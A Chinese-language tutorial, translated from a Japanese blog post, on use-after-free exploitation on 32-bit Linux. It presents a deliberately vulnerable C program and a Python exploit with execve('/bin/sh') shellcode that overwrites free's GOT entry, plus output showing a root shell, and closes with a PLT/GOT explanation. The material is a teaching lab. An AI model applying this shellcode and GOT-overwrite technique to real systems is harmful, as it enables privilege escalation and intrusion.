UAF: Use-After-Free Exploitation

0x00 背景

看了这个同学的博客,翻译整理了一下,并修正了一个小错误。
http://inaz2.hatenablog.com/entry/2014/06/18/215452

0x01 UAF

首先有这样一个程序,它存在uaf的漏洞:

/* uaf.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct Box {
    int size;
    char *buf;
};

struct Box *create_box(int size)
{
    struct Box *box;
    box = malloc(sizeof(struct Box));
    box->size = size;
    box->buf = malloc(size);
    return box;
}

void free_box(struct Box *box)
{
    free(box->buf);
    free(box);
}

int main(int argc, char *argv[])
{
    struct Box *box;
    int size;
    char *newbuf;
    int test;

    scanf("%d", &test); //stop the program for debugging

    box = create_box(100);
    printf("[+] box = %p\n", box);
    strncpy(box->buf, argv[1], 100);
    printf("[+] box->buf = %p\n", box->buf);
    free_box(box);

    size = atoi(argv[2]);
    newbuf = malloc(size);
    printf("[+] newbuf = %p\n", newbuf);
    strncpy(newbuf, argv[3], size);
    printf("[+] box->buf = %p\n", box->buf);

    strncpy(box->buf, argv[4], 100);
    printf("[+] *box->buf = 0x%x\n", ((int*)(box->buf))[0]);

    free(newbuf);
    return 0;
}

可以在linux上用下面的方法编译。

gcc -m32 -z execstack uaf.c

这个程序对输入argv[1]~argv[3]的处理可以参考下图。

至于为什么中间box->buf被释放后前8个字节被覆盖为fd,bk,这个可以参考glibc的malloc算法:
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

我们随便输一些参数试试,可以发现box->buf的地址被覆盖为CCCC(0x43434343),这点符合我们上面画的图。

nevermoe@nevermoe-VirtualBox:~/Documents/test$ ./a.out AAAA 8 BBBBCCCC DDDDDDDD
1
[+] box = 0x804b410
[+] box->buf = 0x804b420
[+] newbuf = 0x804b410
[+] box->buf = 0x43434343
Segmentation fault (core dumped)

由此我们有下面的exploit:

# exploit.py
import sys
import struct
from subprocess import Popen

addr_box_buf = int(sys.argv[1], 16)

# execve("/bin/ls", {"/bin/ls", NULL}, NULL)
# shellcode = '\x31\xd2\x52\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'

# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'

addr_got_free = 0x804a010 # objdump -d -j.plt a.out

# first 8 bytes will be overwritten by fd, bk when freed
box_buf1 = 'BBBBBBBB' + shellcode

size_newbuf = 8
newbuf = 'AAAA'
newbuf += struct.pack('<I', addr_got_free)

box_buf2 = struct.pack('<I', addr_box_buf)

p = Popen(['./a.out', box_buf1, str(size_newbuf), newbuf, box_buf2])
p.wait()

执行该exploit,0x804b428为开始box->buf指向的地址加8:

nevermoe@nevermoe-VirtualBox:~/Documents/test$ sudo python exploit.py 0x804b428
1
[+] box = 0x804b410
[+] box->buf = 0x804b420
[+] newbuf = 0x804b410
[+] box->buf = 0x804a010
[+] *box->buf = 0x804b428
# id
uid=0(root) gid=0(root) groups=0(root)

注意*box->buf即为free函数的got被修改后的值。
可以看到我们获得了root的shell。

0x02 关于plt和got的补充

linux上调用外部库的函数的时候使用plt和got,首先调用处会调用类似free@plt,然后在free@plt处使用jmp调用got里写好的地址,类似于jmp *0xdeadbeef,其中deadbeef即为free@got的地址。如果是首次调用,则got条目还没创建,这时*deadbeef的值为free@plt+4,即跳回free@plt+4处执行,而free@plt+4会将函数名对应的index push压栈,然后调用解析函数解析该函数所在的地址,并将地址写入到0xdeadbeef处。下次调用free@plt时就会直接跳到库函数处执行了。